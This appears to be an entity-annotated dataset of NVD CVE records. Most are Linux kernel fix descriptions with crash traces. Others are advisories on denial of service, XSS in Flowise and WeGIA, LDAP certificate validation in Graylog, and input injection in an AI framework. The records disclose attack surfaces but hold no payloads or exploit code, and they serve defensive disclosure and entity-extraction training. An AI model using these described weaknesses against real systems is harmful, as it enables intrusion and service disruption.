{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: pnv_php: Clean up allocated IRQs on unplug\n\nWhen the root of a nested PCIe bridge configuration is unplugged, the\npnv_php driver leaked the allocated IRQ resources for the child bridges'\nhotplug event notifications, resulting in a panic.\n\nFix this by walking all child buses and deallocating all its IRQ resources\nbefore calling pci_hp_remove_devices().\n\nAlso modify the lifetime of the workqueue at struct pnv_php_slot::wq so\nthat it is only destroyed in pnv_php_free_slot(), instead of\npnv_php_disable_irq(). This is required since pnv_php_disable_irq() will\nnow be called by workers triggered by hot unplug interrupts, so the\nworkqueue needs to stay allocated.\n\nThe abridged kernel panic that occurs without this patch is as follows:\n\n  WARNING: CPU: 0 PID: 687 at kernel/irq/msi.c:292 msi_device_data_release+0x6c/0x9c\n  CPU: 0 UID: 0 PID: 687 Comm: bash Not tainted 6.14.0-rc5+ #2\n  Call Trace:\n   msi_device_data_release+0x34/0x9c (unreliable)\n   release_nodes+0x64/0x13c\n   devres_release_all+0xc0/0x140\n   device_del+0x2d4/0x46c\n   pci_destroy_dev+0x5c/0x194\n   pci_hp_remove_devices+0x90/0x128\n   pci_hp_remove_devices+0x44/0x128\n   pnv_php_disable_slot+0x54/0xd4\n   power_write_file+0xf8/0x18c\n   pci_slot_attr_store+0x40/0x5c\n   sysfs_kf_write+0x64/0x78\n   kernfs_fop_write_iter+0x1b0/0x290\n   vfs_write+0x3bc/0x50c\n   ksys_write+0x84/0x140\n   system_call_exception+0x124/0x230\n   system_call_vectored_common+0x15c/0x2ec\n\n[bhelgaas: tidy comments]", "spans": {"FILEPATH: /irq/msi.c": [[848, 858]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38624"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: tap: NULL pointer derefence in dev_parse_header_protocol when skb->dev is null\n\nFixes a NULL pointer derefence bug triggered from tap driver.\nWhen tap_get_user calls virtio_net_hdr_to_skb the skb->dev is null\n(in tap.c skb->dev is set after the call to virtio_net_hdr_to_skb)\nvirtio_net_hdr_to_skb calls dev_parse_header_protocol which\nneeds skb->dev field to be valid.\n\nThe line that trigers the bug is in dev_parse_header_protocol\n(dev is at offset 0x10 from skb and is stored in RAX register)\n  if (!dev->header_ops || !dev->header_ops->parse_protocol)\n  22e1:   mov    0x10(%rbx),%rax\n  22e5:\t  mov    0x230(%rax),%rax\n\nSetting skb->dev before the call in tap.c fixes the issue.\n\nBUG: kernel NULL pointer dereference, address: 0000000000000230\nRIP: 0010:virtio_net_hdr_to_skb.constprop.0+0x335/0x410 [tap]\nCode: c0 0f 85 b7 fd ff ff eb d4 41 39 c6 77 cf 29 c6 48 89 df 44 01 f6 e8 7a 79 83 c1 48 85 c0 0f 85 d9 fd ff ff eb b7 48 8b 43 10 <48> 8b 80 30 02 00 00 48 85 c0 74 55 48 8b 40 28 48 85 c0 74 4c 48\nRSP: 0018:ffffc90005c27c38 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: ffff888298f25300 RCX: 0000000000000010\nRDX: 0000000000000005 RSI: ffffc90005c27cb6 RDI: ffff888298f25300\nRBP: ffffc90005c27c80 R08: 00000000ffffffea R09: 00000000000007e8\nR10: ffff88858ec77458 R11: 0000000000000000 R12: 0000000000000001\nR13: 0000000000000014 R14: ffffc90005c27e08 R15: ffffc90005c27cb6\nFS:  0000000000000000(0000) GS:ffff88858ec40000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000230 CR3: 0000000281408006 CR4: 00000000003706e0\nCall Trace:\n tap_get_user+0x3f1/0x540 [tap]\n tap_sendmsg+0x56/0x362 [tap]\n ? get_tx_bufs+0xc2/0x1e0 [vhost_net]\n handle_tx_copy+0x114/0x670 [vhost_net]\n handle_tx+0xb0/0xe0 [vhost_net]\n handle_tx_kick+0x15/0x20 [vhost_net]\n vhost_worker+0x7b/0xc0 [vhost]\n ? vhost_vring_call_reset+0x40/0x40 [vhost]\n kthread+0xfa/0x120\n ? kthread_complete_and_exit+0x20/0x20\n ret_from_fork+0x1f/0x30", "spans": {"FILEPATH: tap.c": [[287, 292], [734, 739]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[770, 794]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50073"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd: Replace snprintf with scnprintf\n\nCurrent code produces a warning as shown below when total characters\nin the constituent block device names plus the slashes exceeds 200.\nsnprintf() returns the number of characters generated from the given\ninput, which could cause the expression “200 – len” to wrap around\nto a large positive number. Fix this by using scnprintf() instead,\nwhich returns the actual number of characters written into the buffer.\n\n[ 1513.267938] ------------[ cut here ]------------\n[ 1513.267943] WARNING: CPU: 15 PID: 37247 at <snip>/lib/vsprintf.c:2509 vsnprintf+0x2c8/0x510\n[ 1513.267944] Modules linked in:  <snip>\n[ 1513.267969] CPU: 15 PID: 37247 Comm: mdadm Not tainted 5.4.0-1085-azure #90~18.04.1-Ubuntu\n[ 1513.267969] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 05/09/2022\n[ 1513.267971] RIP: 0010:vsnprintf+0x2c8/0x510\n<-snip->\n[ 1513.267982] Call Trace:\n[ 1513.267986]  snprintf+0x45/0x70\n[ 1513.267990]  ? disk_name+0x71/0xa0\n[ 1513.267993]  dump_zones+0x114/0x240 [raid0]\n[ 1513.267996]  ? _cond_resched+0x19/0x40\n[ 1513.267998]  raid0_run+0x19e/0x270 [raid0]\n[ 1513.268000]  md_run+0x5e0/0xc50\n[ 1513.268003]  ? security_capable+0x3f/0x60\n[ 1513.268005]  do_md_run+0x19/0x110\n[ 1513.268006]  md_ioctl+0x195e/0x1f90\n[ 1513.268007]  blkdev_ioctl+0x91f/0x9f0\n[ 1513.268010]  block_ioctl+0x3d/0x50\n[ 1513.268012]  do_vfs_ioctl+0xa9/0x640\n[ 1513.268014]  ? __fput+0x162/0x260\n[ 1513.268016]  ksys_ioctl+0x75/0x80\n[ 1513.268017]  __x64_sys_ioctl+0x1a/0x20\n[ 1513.268019]  do_syscall_64+0x5e/0x200\n[ 1513.268021]  entry_SYSCALL_64_after_hwframe+0x44/0xa9", "spans": {"FILEPATH: /lib/vsprintf.c": [[622, 637]], "FILEPATH: /09/2022": [[919, 927]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Microsoft": [[831, 840]], "ORGANIZATION: Ubuntu": [[794, 800]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50299"}}
{"text": "A vulnerability in the processing of traffic matching a firewall filter containing a syslog action in Juniper Networks Junos OS on MX Series with MPC10/MPC11 cards installed, PTX10003 and PTX10008 Series devices, will cause the line card to crash and restart, creating a Denial of Service (DoS). Continued receipt and processing of packets matching the firewall filter can create a sustained Denial of Service (DoS) condition. When traffic hits the firewall filter, configured on lo0 or any physical interface on the line card, containing a term with a syslog action (e.g. 'term <name> then syslog'), the affected line card will crash and restart, impacting traffic processing through the ports of the line card. This issue only affects MX Series routers with MPC10 or MPC11 line cards, and PTX10003 or PTX10008 Series packet transport routers. No other platforms or models of line cards are affected by this issue. Note: This issue has also been identified and described in technical service bulletin TSB17931 (login required). This issue affects: Juniper Networks Junos OS on MX Series: 19.3 versions prior to 19.3R3-S2; 19.4 versions prior to 19.4R3-S2; 20.1 versions prior to 20.1R3; 20.2 versions prior to 20.2R2-S2, 20.2R3; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R2. Juniper Networks Junos OS Evolved on PTX10003, PTX10008: All versions prior to 20.4R2-EVO. This issue does not affect Juniper Networks Junos OS versions prior to 19.3R1.", "spans": {"ORGANIZATION: Juniper": [[102, 109], [1049, 1056], [1292, 1299], [1410, 1417]], "VULNERABILITY: Denial of Service": [[271, 288], [392, 409]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0264"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: br_netfilter: skip conntrack input hook for promisc packets\n\nFor historical reasons, when bridge device is in promisc mode, packets\nthat are directed to the taps follow bridge input hook path. This patch\nadds a workaround to reset conntrack for these packets.\n\nJianbo Liu reports warning splats in their test infrastructure where\ncloned packets reach the br_netfilter input hook to confirm the\nconntrack object.\n\nScratch one bit from BR_INPUT_SKB_CB to annotate that this packet has\nreached the input hook because it is passed up to the bridge device to\nreach the taps.\n\n[   57.571874] WARNING: CPU: 1 PID: 0 at net/bridge/br_netfilter_hooks.c:616 br_nf_local_in+0x157/0x180 [br_netfilter]\n[   57.572749] Modules linked in: xt_MASQUERADE nf_conntrack_netlink nfnetlink iptable_nat xt_addrtype xt_conntrack nf_nat br_netfilter rpcsec_gss_krb5 auth_rpcgss oid_registry overlay rpcrdma rdma_ucm ib_iser libiscsi scsi_transport_isc si ib_umad rdma_cm ib_ipoib iw_cm ib_cm mlx5_ib ib_uverbs ib_core mlx5ctl mlx5_core\n[   57.575158] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 6.8.0+ #19\n[   57.575700] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n[   57.576662] RIP: 0010:br_nf_local_in+0x157/0x180 [br_netfilter]\n[   57.577195] Code: fe ff ff 41 bd 04 00 00 00 be 04 00 00 00 e9 4a ff ff ff be 04 00 00 00 48 89 ef e8 f3 a9 3c e1 66 83 ad b4 00 00 00 04 eb 91 <0f> 0b e9 f1 fe ff ff 0f 0b e9 df fe ff ff 48 89 df e8 b3 53 47 e1\n[   57.578722] RSP: 0018:ffff88885f845a08 EFLAGS: 00010202\n[   57.579207] RAX: 0000000000000002 RBX: ffff88812dfe8000 RCX: 0000000000000000\n[   57.579830] RDX: ffff88885f845a60 RSI: ffff8881022dc300 RDI: 0000000000000000\n[   57.580454] RBP: ffff88885f845a60 R08: 0000000000000001 R09: 0000000000000003\n[   57.581076] R10: 00000000ffff1300 R11: 0000000000000002 R12: 0000000000000000\n[   57.581695] R13: ffff8881047ffe00 R14: ffff888108dbee00 R15: ffff88814519b800\n[   57.582313] FS:  0000000000000000(0000) GS:ffff88885f840000(0000) knlGS:0000000000000000\n[   57.583040] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[   57.583564] CR2: 000000c4206aa000 CR3: 0000000103847001 CR4: 0000000000370eb0\n[   57.584194] DR0: 0000000000000000 DR1: 0000000000000000 DR2:\n0000000000000000\n[   57.584820] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:\n0000000000000400\n[   57.585440] Call Trace:\n[   57.585721]  <IRQ>\n[   57.585976]  ? __warn+0x7d/0x130\n[   57.586323]  ? br_nf_local_in+0x157/0x180 [br_netfilter]\n[   57.586811]  ? report_bug+0xf1/0x1c0\n[   57.587177]  ? handle_bug+0x3f/0x70\n[   57.587539]  ? exc_invalid_op+0x13/0x60\n[   57.587929]  ? asm_exc_invalid_op+0x16/0x20\n[   57.588336]  ? br_nf_local_in+0x157/0x180 [br_netfilter]\n[   57.588825]  nf_hook_slow+0x3d/0xd0\n[   57.589188]  ? br_handle_vlan+0x4b/0x110\n[   57.589579]  br_pass_frame_up+0xfc/0x150\n[   57.589970]  ? br_port_flags_change+0x40/0x40\n[   57.590396]  br_handle_frame_finish+0x346/0x5e0\n[   57.590837]  ? ipt_do_table+0x32e/0x430\n[   57.591221]  ? br_handle_local_finish+0x20/0x20\n[   57.591656]  br_nf_hook_thresh+0x4b/0xf0 [br_netfilter]\n[   57.592286]  ? br_handle_local_finish+0x20/0x20\n[   57.592802]  br_nf_pre_routing_finish+0x178/0x480 [br_netfilter]\n[   57.593348]  ? br_handle_local_finish+0x20/0x20\n[   57.593782]  ? nf_nat_ipv4_pre_routing+0x25/0x60 [nf_nat]\n[   57.594279]  br_nf_pre_routing+0x24c/0x550 [br_netfilter]\n[   57.594780]  ? br_nf_hook_thresh+0xf0/0xf0 [br_netfilter]\n[   57.595280]  br_handle_frame+0x1f3/0x3d0\n[   57.595676]  ? br_handle_local_finish+0x20/0x20\n[   57.596118]  ? br_handle_frame_finish+0x5e0/0x5e0\n[   57.596566]  __netif_receive_skb_core+0x25b/0xfc0\n[   57.597017]  ? __napi_build_skb+0x37/0x40\n[   57.597418]  __netif_receive_skb_list_core+0xfb/0x220", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[1232, 1276]], "FILEPATH: /bridge/br_netfilter_hooks.c": [[695, 723]], "FILEPATH: /01/2014": [[1279, 1287]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1190, 1194]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-27018"}}
{"text": "RDS Light is a simplified version of the Reflective Dialogue System (RDS), a self-reflecting AI framework. Versions prior to 1.1.0 contain a vulnerability that involves a lack of input validation within the RDS AI framework, specifically within the user input handling code in the main module (`main.py`). This leaves the framework open to injection attacks and potential memory tampering. Any user or external actor providing input to the system could exploit this vulnerability to inject malicious commands, corrupt stored data, or affect API calls. This is particularly critical for users employing RDS AI in production environments where it interacts with sensitive systems, performs dynamic memory caching, or retrieves user-specific data for analysis. Impacted areas include developers using the RDS AI system as a backend for AI-driven applications and systems running RDS AI that may be exposed to untrusted environments or receive unverified user inputs. The vulnerability has been patched in version 1.1.0 of the RDS AI framework. All user inputs are now sanitized and validated against a set of rules designed to mitigate malicious content. Users should upgrade to version 1.1.0 or higher and ensure all dependencies are updated to their latest versions. For users unable to upgrade to the patched version, a workaround can be implemented. The user implementing the workaround should implement custom validation checks for user inputs to filter out unsafe characters and patterns (e.g., SQL injection attempts, script injections) and limit or remove features that allow user input until the system can be patched.", "spans": {"FILEPATH: main.py": [[295, 302]], "VULNERABILITY: SQL injection": [[1498, 1511]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-48918"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmailbox: bcm2835: Fix timeout during suspend mode\n\nDuring noirq suspend phase the Raspberry Pi power driver suffer of\nfirmware property timeouts. The reason is that the IRQ of the underlying\nBCM2835 mailbox is disabled and rpi_firmware_property_list() will always\nrun into a timeout [1].\n\nSince the VideoCore side isn't consider as a wakeup source, set the\nIRQF_NO_SUSPEND flag for the mailbox IRQ in order to keep it enabled\nduring suspend-resume cycle.\n\n[1]\nPM: late suspend of devices complete after 1.754 msecs\nWARNING: CPU: 0 PID: 438 at drivers/firmware/raspberrypi.c:128\n rpi_firmware_property_list+0x204/0x22c\nFirmware transaction 0x00028001 timeout\nModules linked in:\nCPU: 0 PID: 438 Comm: bash Tainted: G         C         6.9.3-dirty #17\nHardware name: BCM2835\nCall trace:\nunwind_backtrace from show_stack+0x18/0x1c\nshow_stack from dump_stack_lvl+0x34/0x44\ndump_stack_lvl from __warn+0x88/0xec\n__warn from warn_slowpath_fmt+0x7c/0xb0\nwarn_slowpath_fmt from rpi_firmware_property_list+0x204/0x22c\nrpi_firmware_property_list from rpi_firmware_property+0x68/0x8c\nrpi_firmware_property from rpi_firmware_set_power+0x54/0xc0\nrpi_firmware_set_power from _genpd_power_off+0xe4/0x148\n_genpd_power_off from genpd_sync_power_off+0x7c/0x11c\ngenpd_sync_power_off from genpd_finish_suspend+0xcc/0xe0\ngenpd_finish_suspend from dpm_run_callback+0x78/0xd0\ndpm_run_callback from device_suspend_noirq+0xc0/0x238\ndevice_suspend_noirq from dpm_suspend_noirq+0xb0/0x168\ndpm_suspend_noirq from suspend_devices_and_enter+0x1b8/0x5ac\nsuspend_devices_and_enter from pm_suspend+0x254/0x2e4\npm_suspend from state_store+0xa8/0xd4\nstate_store from kernfs_fop_write_iter+0x154/0x1a0\nkernfs_fop_write_iter from vfs_write+0x12c/0x184\nvfs_write from ksys_write+0x78/0xc0\nksys_write from ret_fast_syscall+0x0/0x54\nException stack(0xcc93dfa8 to 0xcc93dff0)\n[...]\nPM: noirq suspend of devices complete after 3095.584 msecs", "spans": {"FILEPATH: /firmware/raspberrypi.c": [[619, 642]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49963"}}
{"text": "Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Diagnostics). Supported versions that are affected are 12.1.3 and 12.2.3 - 12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Application Object Library, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Application Object Library accessible data. CVSS 3.1 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [66, 72], [294, 300], [446, 452], [646, 652]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14840"}}
{"text": "Graylog before 3.3.3 lacks SSL Certificate Validation for LDAP servers. It allows use of an external user/group database stored in LDAP. The connection configuration allows the usage of unencrypted, SSL- or TLS-secured connections. Unfortunately, the Graylog client code (in all versions that support LDAP) does not implement proper certificate validation (regardless of whether the \"Allow self-signed certificates\" option is used). Therefore, any attacker with the ability to intercept network traffic between a Graylog server and an LDAP server is able to redirect traffic to a different LDAP server (unnoticed by the Graylog server due to the lack of certificate validation), effectively bypassing Graylog's authentication mechanism.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15813"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: udf: fix OOB read in lengthAllocDescs handling\n\nWhen parsing Allocation Extent Descriptor, lengthAllocDescs comes from\non-disk data and must be validated against the block size. Crafted or\ncorrupted images may set lengthAllocDescs so that the total descriptor\nlength (sizeof(allocExtDesc) + lengthAllocDescs) exceeds the buffer,\nleading udf_update_tag() to call crc_itu_t() on out-of-bounds memory and\ntrigger a KASAN use-after-free read.\n\nBUG: KASAN: use-after-free in crc_itu_t+0x1d5/0x2b0 lib/crc-itu-t.c:60\nRead of size 1 at addr ffff888041e7d000 by task syz-executor317/5309\n\nCPU: 0 UID: 0 PID: 5309 Comm: syz-executor317 Not tainted 6.12.0-rc4-syzkaller-00261-g850925a8133c #0\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:377 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:488\n kasan_report+0x143/0x180 mm/kasan/report.c:601\n crc_itu_t+0x1d5/0x2b0 lib/crc-itu-t.c:60\n udf_update_tag+0x70/0x6a0 fs/udf/misc.c:261\n udf_write_aext+0x4d8/0x7b0 fs/udf/inode.c:2179\n extent_trunc+0x2f7/0x4a0 fs/udf/truncate.c:46\n udf_truncate_tail_extent+0x527/0x7e0 fs/udf/truncate.c:106\n udf_release_file+0xc1/0x120 fs/udf/file.c:185\n __fput+0x23f/0x880 fs/file_table.c:431\n task_work_run+0x24f/0x310 kernel/task_work.c:239\n exit_task_work include/linux/task_work.h:43 [inline]\n do_exit+0xa2f/0x28e0 kernel/exit.c:939\n do_group_exit+0x207/0x2c0 kernel/exit.c:1088\n __do_sys_exit_group kernel/exit.c:1099 [inline]\n __se_sys_exit_group kernel/exit.c:1097 [inline]\n __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1097\n x64_sys_call+0x2634/0x2640 arch/x86/include/generated/asm/syscalls_64.h:232\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n </TASK>\n\nValidate the computed total length against epos->bh->b_size.\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller.", "spans": {"DOMAIN: linuxtesting.org": [[2121, 2137]], "FILEPATH: /01/2014": [[846, 854]], "FILEPATH: /kasan/report.c": [[996, 1011], [1053, 1068], [1101, 1116]], "FILEPATH: /udf/misc.c": [[1192, 1203]], "FILEPATH: /udf/inode.c": [[1238, 1250]], "FILEPATH: /udf/truncate.c": [[1284, 1299], [1343, 1358]], "FILEPATH: /udf/file.c": [[1394, 1405]], "FILEPATH: /linux/task_work.h": [[1523, 1541]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[1821, 1861]], "FILEPATH: /x86/entry/common.c": [[1886, 1905], [1948, 1967]], "FILEPATH: t.c": [[577, 580], [1156, 1159]], "FILEPATH: dump_stack.c": [[893, 905], [950, 962]], "FILEPATH: file_table.c": [[1433, 1445]], "FILEPATH: task_work.c": [[1484, 1495]], "FILEPATH: exit.c": [[1583, 1589], [1628, 1634], [1668, 1674], [1717, 1723], [1777, 1783]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[2094, 2099]], "SYSTEM: QEMU": [[771, 775]], "VULNERABILITY: use-after-free": [[491, 505], [525, 539]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40044"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/fence: Fix oops due to non-matching drm_sched init/fini\n\nCurrently amdgpu calls drm_sched_fini() from the fence driver sw fini\nroutine - such function is expected to be called only after the\nrespective init function - drm_sched_init() - was executed successfully.\n\nHappens that we faced a driver probe failure in the Steam Deck\nrecently, and the function drm_sched_fini() was called even without\nits counter-part had been previously called, causing the following oops:\n\namdgpu: probe of 0000:04:00.0 failed with error -110\nBUG: kernel NULL pointer dereference, address: 0000000000000090\nPGD 0 P4D 0\nOops: 0002 [#1] PREEMPT SMP NOPTI\nCPU: 0 PID: 609 Comm: systemd-udevd Not tainted 6.2.0-rc3-gpiccoli #338\nHardware name: Valve Jupiter/Jupiter, BIOS F7A0113 11/04/2022\nRIP: 0010:drm_sched_fini+0x84/0xa0 [gpu_sched]\n[...]\nCall Trace:\n <TASK>\n amdgpu_fence_driver_sw_fini+0xc8/0xd0 [amdgpu]\n amdgpu_device_fini_sw+0x2b/0x3b0 [amdgpu]\n amdgpu_driver_release_kms+0x16/0x30 [amdgpu]\n devm_drm_dev_init_release+0x49/0x70\n [...]\n\nTo prevent that, check if the drm_sched was properly initialized for a\ngiven ring before calling its fini counter-part.\n\nNotice ideally we'd use sched.ready for that; such field is set as the latest\nthing on drm_sched_init(). But amdgpu seems to \"override\" the meaning of such\nfield - in the above oops for example, it was a GFX ring causing the crash, and\nthe sched.ready field was set to true in the ring init routine, regardless of\nthe state of the DRM scheduler. Hence, we ended-up using sched.ops as per\nChristian's suggestion [0], and also removed the no_scheduler check [1].\n\n[0] https://lore.kernel.org/amd-gfx/984ee981-2906-0eaf-ccec-9f80975cb136@amd.com/\n[1] https://lore.kernel.org/amd-gfx/cd0e2994-f85f-d837-609f-7056d5fb7231@amd.com/", "spans": {"URL: https://lore.kernel.org/amd-gfx/984ee981-2906-0eaf-ccec-9f80975cb136@amd.com/": [[1689, 1766]], "URL: https://lore.kernel.org/amd-gfx/cd0e2994-f85f-d837-609f-7056d5fb7231@amd.com/": [[1771, 1848]], "FILEPATH: /amdgpu/fence": [[72, 85]], "FILEPATH: /04/2022": [[838, 846]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[735, 742]], "VULNERABILITY: NULL pointer dereference": [[615, 639]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52738"}}
{"text": "Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `/api/v1/chatflows-streaming/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.", "spans": {"FILEPATH: /api/v1/chatflows-streaming/id": [[180, 210]], "VULNERABILITY: cross-site scripting": [[130, 150]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-37145"}}
{"text": "WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `adicionar_alergia.php` endpoint of the WeGIA application. This vulnerability allows attackers to inject malicious scripts into the `nome` parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk. The application fails to properly validate and sanitize user inputs in the `adicionar_alergia.php` parameter. This lack of validation allows attackers to inject malicious scripts, which are then stored on the server. Whenever the affected page is accessed, the malicious payload is executed in the victim's browser, potentially compromising the user's data and system. This issue has been addressed in version 3.2.6. All users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: adicionar_alergia.php": [[178, 199], [561, 582]], "VULNERABILITY: Cross-Site Scripting": [[114, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23031"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\natm: Fix NULL pointer dereference\n\nWhen MPOA_cache_impos_rcvd() receives the msg, it can trigger\nNull Pointer Dereference Vulnerability if both entry and\nholding_time are NULL. Because there is only for the situation\nwhere entry is NULL and holding_time exists, it can be passed\nwhen both entry and holding_time are NULL. If these are NULL,\nthe entry will be passd to eg_cache_put() as parameter and\nit is referenced by entry->use code in it.\n\nkasan log:\n\n[    3.316691] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000006:I\n[    3.317568] KASAN: null-ptr-deref in range [0x0000000000000030-0x0000000000000037]\n[    3.318188] CPU: 3 UID: 0 PID: 79 Comm: ex Not tainted 6.14.0-rc2 #102\n[    3.318601] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n[    3.319298] RIP: 0010:eg_cache_remove_entry+0xa5/0x470\n[    3.319677] Code: c1 f7 6e fd 48 c7 c7 00 7e 38 b2 e8 95 64 54 fd 48 c7 c7 40 7e 38 b2 48 89 ee e80\n[    3.321220] RSP: 0018:ffff88800583f8a8 EFLAGS: 00010006\n[    3.321596] RAX: 0000000000000006 RBX: ffff888005989000 RCX: ffffffffaecc2d8e\n[    3.322112] RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000030\n[    3.322643] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff6558b88\n[    3.323181] R10: 0000000000000003 R11: 203a207972746e65 R12: 1ffff11000b07f15\n[    3.323707] R13: dffffc0000000000 R14: ffff888005989000 R15: ffff888005989068\n[    3.324185] FS:  000000001b6313c0(0000) GS:ffff88806d380000(0000) knlGS:0000000000000000\n[    3.325042] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[    3.325545] CR2: 00000000004b4b40 CR3: 000000000248e000 CR4: 00000000000006f0\n[    3.326430] Call Trace:\n[    3.326725]  <TASK>\n[    3.326927]  ? die_addr+0x3c/0xa0\n[    3.327330]  ? exc_general_protection+0x161/0x2a0\n[    3.327662]  ? asm_exc_general_protection+0x26/0x30\n[    3.328214]  ? vprintk_emit+0x15e/0x420\n[    3.328543]  ? eg_cache_remove_entry+0xa5/0x470\n[    3.328910]  ? eg_cache_remove_entry+0x9a/0x470\n[    3.329294]  ? __pfx_eg_cache_remove_entry+0x10/0x10\n[    3.329664]  ? console_unlock+0x107/0x1d0\n[    3.329946]  ? __pfx_console_unlock+0x10/0x10\n[    3.330283]  ? do_syscall_64+0xa6/0x1a0\n[    3.330584]  ? entry_SYSCALL_64_after_hwframe+0x47/0x7f\n[    3.331090]  ? __pfx_prb_read_valid+0x10/0x10\n[    3.331395]  ? down_trylock+0x52/0x80\n[    3.331703]  ? vprintk_emit+0x15e/0x420\n[    3.331986]  ? __pfx_vprintk_emit+0x10/0x10\n[    3.332279]  ? down_trylock+0x52/0x80\n[    3.332527]  ? _printk+0xbf/0x100\n[    3.332762]  ? __pfx__printk+0x10/0x10\n[    3.333007]  ? _raw_write_lock_irq+0x81/0xe0\n[    3.333284]  ? __pfx__raw_write_lock_irq+0x10/0x10\n[    3.333614]  msg_from_mpoad+0x1185/0x2750\n[    3.333893]  ? __build_skb_around+0x27b/0x3a0\n[    3.334183]  ? __pfx_msg_from_mpoad+0x10/0x10\n[    3.334501]  ? __alloc_skb+0x1c0/0x310\n[    3.334809]  ? __pfx___alloc_skb+0x10/0x10\n[    3.335283]  ? _raw_spin_lock+0xe0/0xe0\n[    3.335632]  ? finish_wait+0x8d/0x1e0\n[    3.335975]  vcc_sendmsg+0x684/0xba0\n[    3.336250]  ? __pfx_vcc_sendmsg+0x10/0x10\n[    3.336587]  ? __pfx_autoremove_wake_function+0x10/0x10\n[    3.337056]  ? fdget+0x176/0x3e0\n[    3.337348]  __sys_sendto+0x4a2/0x510\n[    3.337663]  ? __pfx___sys_sendto+0x10/0x10\n[    3.337969]  ? ioctl_has_perm.constprop.0.isra.0+0x284/0x400\n[    3.338364]  ? sock_ioctl+0x1bb/0x5a0\n[    3.338653]  ? __rseq_handle_notify_resume+0x825/0xd20\n[    3.339017]  ? __pfx_sock_ioctl+0x10/0x10\n[    3.339316]  ? __pfx___rseq_handle_notify_resume+0x10/0x10\n[    3.339727]  ? selinux_file_ioctl+0xa4/0x260\n[    3.340166]  __x64_sys_sendto+0xe0/0x1c0\n[    3.340526]  ? syscall_exit_to_user_mode+0x123/0x140\n[    3.340898]  